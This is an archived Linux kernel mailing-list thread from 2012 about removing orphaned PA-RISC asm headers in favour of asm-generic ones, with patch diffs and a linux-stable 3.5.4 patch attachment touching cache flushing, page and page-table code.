X-Trace: ger.gmane.org 1348839824 22264 80.91.229.3 (28 Sep 2012 13:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2012 13:43:44 +0000 (UTC)
Cc: Denys Vlasenko <vda.linux@googlemail.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 28 15:43:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1THar6-0006cZ-9A
	for glpp-linux-parisc@plane.gmane.org; Fri, 28 Sep 2012 15:43:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757329Ab2I1Nnm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Sep 2012 09:43:42 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48302 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756148Ab2I1Nnl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Sep 2012 09:43:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4A29E8EE0E8;
	Fri, 28 Sep 2012 06:43:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id C-luBmeXwG-Q; Fri, 28 Sep 2012 06:43:41 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7E4598EE0AB;
	Fri, 28 Sep 2012 06:43:39 -0700 (PDT)
In-Reply-To: <BLU0-SMTP54F29C73A16BAB0885137A979D0@phx.gbl>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4591 gmane.linux.kernel:1366265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4591>

On Tue, 2012-09-25 at 19:23 -0400, John David Anglin wrote:
> On 24-Sep-12, at 8:39 AM, Denys Vlasenko wrote:
> 
> > Maybe it needs to be removed?
> 
> Worked for me with 3.5.4.

It's probably time to tidy up all of our asm-generic code and use the
proper infrastructure.  I thought of doing it when the word-at-a-time
problem arose, but I forgot about it.

James

---

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 4383707..7fdde2e 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -1,4 +1,7 @@
 include include/asm-generic/Kbuild.asm
 
 header-y += pdc.h
-generic-y += word-at-a-time.h
+generic-y += word-at-a-time.h auxvec.h user.h cputime.h emergency-restart.h \
+	  segment.h topology.h vga.h device.h percpu.h hw_irq.h mutex.h \
+	  div64.h irq_regs.h kdebug.h kvm_para.h local64.h local.h param.h \
+	  poll.h xor.h
diff --git a/arch/parisc/include/asm/auxvec.h b/arch/parisc/include/asm/auxvec.h
deleted file mode 100644
index 9c3ac4b..0000000
--- a/arch/parisc/include/asm/auxvec.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#ifndef __ASMPARISC_AUXVEC_H
-#define __ASMPARISC_AUXVEC_H
-
-#endif
diff --git a/arch/parisc/include/asm/compat_signal.h b/arch/parisc/include/asm/compat_signal.h
deleted file mode 100644
index 6ad02c3..0000000
--- a/arch/parisc/include/asm/compat_signal.h
+++ /dev/null
@@ -1,2 +0,0 @@
-/* Use generic */
-#include <asm-generic/compat_signal.h>
diff --git a/arch/parisc/include/asm/cputime.h b/arch/parisc/include/asm/cputime.h
deleted file mode 100644
index dcdf2fb..0000000
--- a/arch/parisc/include/asm/cputime.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef __PARISC_CPUTIME_H
-#define __PARISC_CPUTIME_H
-
-#include <asm-generic/cputime.h>
-
-#endif /* __PARISC_CPUTIME_H */
diff --git a/arch/parisc/include/asm/device.h b/arch/parisc/include/asm/device.h
deleted file mode 100644
index d8f9872..0000000
--- a/arch/parisc/include/asm/device.h
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * Arch specific extensions to struct device
- *
- * This file is released under the GPLv2
- */
-#include <asm-generic/device.h>
-
diff --git a/arch/parisc/include/asm/div64.h b/arch/parisc/include/asm/div64.h
deleted file mode 100644
index 6cd978c..0000000
--- a/arch/parisc/include/asm/div64.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/div64.h>
diff --git a/arch/parisc/include/asm/emergency-restart.h b/arch/parisc/include/asm/emergency-restart.h
deleted file mode 100644
index 108d8c4..0000000
--- a/arch/parisc/include/asm/emergency-restart.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef _ASM_EMERGENCY_RESTART_H
-#define _ASM_EMERGENCY_RESTART_H
-
-#include <asm-generic/emergency-restart.h>
-
-#endif /* _ASM_EMERGENCY_RESTART_H */
diff --git a/arch/parisc/include/asm/hw_irq.h b/arch/parisc/include/asm/hw_irq.h
deleted file mode 100644
index 6707f7d..0000000
--- a/arch/parisc/include/asm/hw_irq.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#ifndef _ASM_HW_IRQ_H
-#define _ASM_HW_IRQ_H
-
-/*
- *	linux/include/asm/hw_irq.h
- */
-
-#endif
diff --git a/arch/parisc/include/asm/irq_regs.h b/arch/parisc/include/asm/irq_regs.h
deleted file mode 100644
index 3dd9c0b..0000000
--- a/arch/parisc/include/asm/irq_regs.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/irq_regs.h>
diff --git a/arch/parisc/include/asm/kdebug.h b/arch/parisc/include/asm/kdebug.h
deleted file mode 100644
index 6ece1b0..0000000
--- a/arch/parisc/include/asm/kdebug.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/kdebug.h>
diff --git a/arch/parisc/include/asm/kvm_para.h b/arch/parisc/include/asm/kvm_para.h
deleted file mode 100644
index 14fab8f..0000000
--- a/arch/parisc/include/asm/kvm_para.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/kvm_para.h>
diff --git a/arch/parisc/include/asm/local.h b/arch/parisc/include/asm/local.h
deleted file mode 100644
index c11c530..0000000
--- a/arch/parisc/include/asm/local.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/local.h>
diff --git a/arch/parisc/include/asm/local64.h b/arch/parisc/include/asm/local64.h
deleted file mode 100644
index 36c93b5..0000000
--- a/arch/parisc/include/asm/local64.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/local64.h>
diff --git a/arch/parisc/include/asm/mutex.h b/arch/parisc/include/asm/mutex.h
deleted file mode 100644
index 458c1f7..0000000
--- a/arch/parisc/include/asm/mutex.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Pull in the generic implementation for the mutex fastpath.
- *
- * TODO: implement optimized primitives instead, or leave the generic
- * implementation in place, or pick the atomic_xchg() based generic
- * implementation. (see asm-generic/mutex-xchg.h for details)
- */
-
-#include <asm-generic/mutex-dec.h>
diff --git a/arch/parisc/include/asm/param.h b/arch/parisc/include/asm/param.h
deleted file mode 100644
index 965d454..0000000
--- a/arch/parisc/include/asm/param.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/param.h>
diff --git a/arch/parisc/include/asm/percpu.h b/arch/parisc/include/asm/percpu.h
deleted file mode 100644
index a0dcd19..0000000
--- a/arch/parisc/include/asm/percpu.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#ifndef _PARISC_PERCPU_H
-#define _PARISC_PERCPU_H
-
-#include <asm-generic/percpu.h>
-
-#endif 
-
diff --git a/arch/parisc/include/asm/poll.h b/arch/parisc/include/asm/poll.h
deleted file mode 100644
index c98509d..0000000
--- a/arch/parisc/include/asm/poll.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/poll.h>
diff --git a/arch/parisc/include/asm/real.h b/arch/parisc/include/asm/real.h
deleted file mode 100644
index 82acb25..0000000
--- a/arch/parisc/include/asm/real.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef _PARISC_REAL_H
-#define _PARISC_REAL_H
-
-
-#endif
diff --git a/arch/parisc/include/asm/segment.h b/arch/parisc/include/asm/segment.h
deleted file mode 100644
index 26794dd..0000000
--- a/arch/parisc/include/asm/segment.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef __PARISC_SEGMENT_H
-#define __PARISC_SEGMENT_H
-
-/* Only here because we have some old header files that expect it.. */
-
-#endif
diff --git a/arch/parisc/include/asm/topology.h b/arch/parisc/include/asm/topology.h
deleted file mode 100644
index d8133eb..0000000
--- a/arch/parisc/include/asm/topology.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef _ASM_PARISC_TOPOLOGY_H
-#define _ASM_PARISC_TOPOLOGY_H
-
-#include <asm-generic/topology.h>
-
-#endif /* _ASM_PARISC_TOPOLOGY_H */
diff --git a/arch/parisc/include/asm/user.h b/arch/parisc/include/asm/user.h
deleted file mode 100644
index 8022475..0000000
--- a/arch/parisc/include/asm/user.h
+++ /dev/null
@@ -1,5 +0,0 @@
-/* This file should not exist, but lots of generic code still includes
-   it. It's a hangover from old a.out days and the traditional core
-   dump format.  We are ELF-only, and so are our core dumps.  If we
-   need to support HP/UX core format then we'll do it here
-   eventually. */
diff --git a/arch/parisc/include/asm/vga.h b/arch/parisc/include/asm/vga.h
deleted file mode 100644
index 171399a..0000000
--- a/arch/parisc/include/asm/vga.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef __ASM_PARISC_VGA_H__
-#define __ASM_PARISC_VGA_H__
-
-/* nothing */

From - Thu Nov 08 21:08:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: parisc: orphaned asm/compat_signal.h file?
Date: Sat, 29 Sep 2012 16:24:25 -0400
Lines: 1768
Approved: news@gmane.org
Message-ID: <BLU0-SMTP777C44DD0217ABB38501DE97810@phx.gbl>
References: <CAK1hOcMongS_p5+oiaqE85tEVF8mv+SCm3yb-N=Zqz4Xuz_+WA@mail.gmail.com> <BLU0-SMTP54F29C73A16BAB0885137A979D0@phx.gbl> <1348839817.2411.19.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-1--871605220"
X-Trace: ger.gmane.org 1348950294 31074 80.91.229.3 (29 Sep 2012 20:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Sep 2012 20:24:54 +0000 (UTC)
Cc: Denys Vlasenko <vda.linux@googlemail.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 29 22:24:58 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TI3aq-0007Md-Lu
	for glk-linux-kernel-3@plane.gmane.org; Sat, 29 Sep 2012 22:24:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751382Ab2I2UYt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 29 Sep 2012 16:24:49 -0400
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:30066 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751297Ab2I2UYp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 29 Sep 2012 16:24:45 -0400
Original-Received: from BLU0-SMTP77 ([65.55.111.135]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Sep 2012 13:24:43 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [TnK5H3OYT5ubq/OyxCYelaJwIF+K+0U6]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP77.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Sep 2012 13:24:42 -0700
In-Reply-To: <1348839817.2411.19.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Sep 2012 20:24:42.0807 (UTC) FILETIME=[75820470:01CD9E80]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1367296 gmane.linux.ports.parisc:4592
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1367296>

--Apple-Mail-1--871605220
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 28-Sep-12, at 9:43 AM, James Bottomley wrote:

> On Tue, 2012-09-25 at 19:23 -0400, John David Anglin wrote:
>> On 24-Sep-12, at 8:39 AM, Denys Vlasenko wrote:
>>
>>> Maybe it needs to be removed?
>>
>> Worked for me with 3.5.4.
>
> It's probably time to tidy up all of our asm-generic code and use the
> proper infrastructure.  I thought of doing it when the word-at-a-time
> problem arose, but I forgot about it.


This is a nice cleanup.  I merged the change into my patch against
v3.5.4 for linux-stable.

Had to remove the kvm_para.h hunk because I hit this issue:
https://lkml.org/lkml/2012/6/13/226
Assume this is now fixed.

I also noticed that your cleanup  doesn't remove arch/parisc/include/ 
asm/compat_rt_sigframe.h.
Not exactly an asm-generic issue, but I believe the header is unused.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-1--871605220
Content-Disposition: attachment;
	filename="linux-stable-3.5.4-20120929-4.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-3.5.4-20120929-4.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 4383707..ec37c89 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -1,4 +1,7 @@
 include include/asm-generic/Kbuild.asm
 
 header-y += pdc.h
-generic-y += word-at-a-time.h
+generic-y += word-at-a-time.h auxvec.h user.h cputime.h emergency-restart.h \
+	  segment.h topology.h vga.h device.h percpu.h hw_irq.h mutex.h \
+	  div64.h irq_regs.h kdebug.h local64.h local.h param.h \
+	  poll.h xor.h
diff --git a/arch/parisc/include/asm/auxvec.h b/arch/parisc/include/asm/auxvec.h
deleted file mode 100644
index 9c3ac4b..0000000
--- a/arch/parisc/include/asm/auxvec.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#ifndef __ASMPARISC_AUXVEC_H
-#define __ASMPARISC_AUXVEC_H
-
-#endif
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index 81bec28..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
-
-#endif
diff --git a/arch/parisc/include/asm/compat_signal.h b/arch/parisc/include/asm/compat_signal.h
deleted file mode 100644
index 6ad02c3..0000000
--- a/arch/parisc/include/asm/compat_signal.h
+++ /dev/null
@@ -1,2 +0,0 @@
-/* Use generic */
-#include <asm-generic/compat_signal.h>
diff --git a/arch/parisc/include/asm/cputime.h b/arch/parisc/include/asm/cputime.h
deleted file mode 100644
index dcdf2fb..0000000
--- a/arch/parisc/include/asm/cputime.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef __PARISC_CPUTIME_H
-#define __PARISC_CPUTIME_H
-
-#include <asm-generic/cputime.h>
-
-#endif /* __PARISC_CPUTIME_H */
diff --git a/arch/parisc/include/asm/device.h b/arch/parisc/include/asm/device.h
deleted file mode 100644
index d8f9872..0000000
--- a/arch/parisc/include/asm/device.h
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * Arch specific extensions to struct device
- *
- * This file is released under the GPLv2
- */
-#include <asm-generic/device.h>
-
diff --git a/arch/parisc/include/asm/div64.h b/arch/parisc/include/asm/div64.h
deleted file mode 100644
index 6cd978c..0000000
--- a/arch/parisc/include/asm/div64.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/div64.h>
diff --git a/arch/parisc/include/asm/emergency-restart.h b/arch/parisc/include/asm/emergency-restart.h
deleted file mode 100644
index 108d8c4..0000000
--- a/arch/parisc/include/asm/emergency-restart.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef _ASM_EMERGENCY_RESTART_H
-#define _ASM_EMERGENCY_RESTART_H
-
-#include <asm-generic/emergency-restart.h>
-
-#endif /* _ASM_EMERGENCY_RESTART_H */
diff --git a/arch/parisc/include/asm/hw_irq.h b/arch/parisc/include/asm/hw_irq.h
deleted file mode 100644
index 6707f7d..0000000
--- a/arch/parisc/include/asm/hw_irq.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#ifndef _ASM_HW_IRQ_H
-#define _ASM_HW_IRQ_H
-
-/*
- *	linux/include/asm/hw_irq.h
- */
-
-#endif
diff --git a/arch/parisc/include/asm/irq_regs.h b/arch/parisc/include/asm/irq_regs.h
deleted file mode 100644
index 3dd9c0b..0000000
--- a/arch/parisc/include/asm/irq_regs.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/irq_regs.h>
diff --git a/arch/parisc/include/asm/kdebug.h b/arch/parisc/include/asm/kdebug.h
deleted file mode 100644
index 6ece1b0..0000000
--- a/arch/parisc/include/asm/kdebug.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/kdebug.h>
diff --git a/arch/parisc/include/asm/local.h b/arch/parisc/include/asm/local.h
deleted file mode 100644
index c11c530..0000000
--- a/arch/parisc/include/asm/local.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/local.h>
diff --git a/arch/parisc/include/asm/local64.h b/arch/parisc/include/asm/local64.h
deleted file mode 100644
index 36c93b5..0000000
--- a/arch/parisc/include/asm/local64.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/local64.h>
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/mutex.h b/arch/parisc/include/asm/mutex.h
deleted file mode 100644
index 458c1f7..0000000
--- a/arch/parisc/include/asm/mutex.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Pull in the generic implementation for the mutex fastpath.
- *
- * TODO: implement optimized primitives instead, or leave the generic
- * implementation in place, or pick the atomic_xchg() based generic
- * implementation. (see asm-generic/mutex-xchg.h for details)
- */
-
-#include <asm-generic/mutex-dec.h>
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/param.h b/arch/parisc/include/asm/param.h
deleted file mode 100644
index 965d454..0000000
--- a/arch/parisc/include/asm/param.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/param.h>
diff --git a/arch/parisc/include/asm/percpu.h b/arch/parisc/include/asm/percpu.h
deleted file mode 100644
index a0dcd19..0000000
--- a/arch/parisc/include/asm/percpu.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#ifndef _PARISC_PERCPU_H
-#define _PARISC_PERCPU_H
-
-#include <asm-generic/percpu.h>
-
-#endif 
-
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..563724d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -462,10 +468,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/include/asm/poll.h b/arch/parisc/include/asm/poll.h
deleted file mode 100644
index c98509d..0000000
--- a/arch/parisc/include/asm/poll.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/poll.h>
diff --git a/arch/parisc/include/asm/real.h b/arch/parisc/include/asm/real.h
deleted file mode 100644
index 82acb25..0000000
--- a/arch/parisc/include/asm/real.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef _PARISC_REAL_H
-#define _PARISC_REAL_H
-
-
-#endif
diff --git a/arch/parisc/include/asm/segment.h b/arch/parisc/include/asm/segment.h
deleted file mode 100644
index 26794dd..0000000
--- a/arch/parisc/include/asm/segment.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef __PARISC_SEGMENT_H
-#define __PARISC_SEGMENT_H
-
-/* Only here because we have some old header files that expect it.. */
-
-#endif
diff --git a/arch/parisc/include/asm/topology.h b/arch/parisc/include/asm/topology.h
deleted file mode 100644
index d8133eb..0000000
--- a/arch/parisc/include/asm/topology.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef _ASM_PARISC_TOPOLOGY_H
-#define _ASM_PARISC_TOPOLOGY_H
-
-#include <asm-generic/topology.h>
-
-#endif /* _ASM_PARISC_TOPOLOGY_H */
diff --git a/arch/parisc/include/asm/user.h b/arch/parisc/include/asm/user.h
deleted file mode 100644
index 8022475..0000000
--- a/arch/parisc/include/asm/user.h
+++ /dev/null
@@ -1,5 +0,0 @@
-/* This file should not exist, but lots of generic code still includes
-   it. It's a hangover from old a.out days and the traditional core
-   dump format.  We are ELF-only, and so are our core dumps.  If we
-   need to support HP/UX core format then we'll do it here
-   eventually. */
diff --git a/arch/parisc/include/asm/vga.h b/arch/parisc/include/asm/vga.h
deleted file mode 100644
index 171399a..0000000
--- a/arch/parisc/include/asm/vga.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef __ASM_PARISC_VGA_H__
-#define __ASM_PARISC_VGA_H__
-
-/* nothing */
-
-#endif /* __ASM_PARISC_VGA_H__ */
diff --git a/arch/parisc/include/asm/xor.h b/arch/parisc/include/asm/xor.h
deleted file mode 100644
index c82eb12..0000000
--- a/arch/parisc/include/asm/xor.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/xor.h>
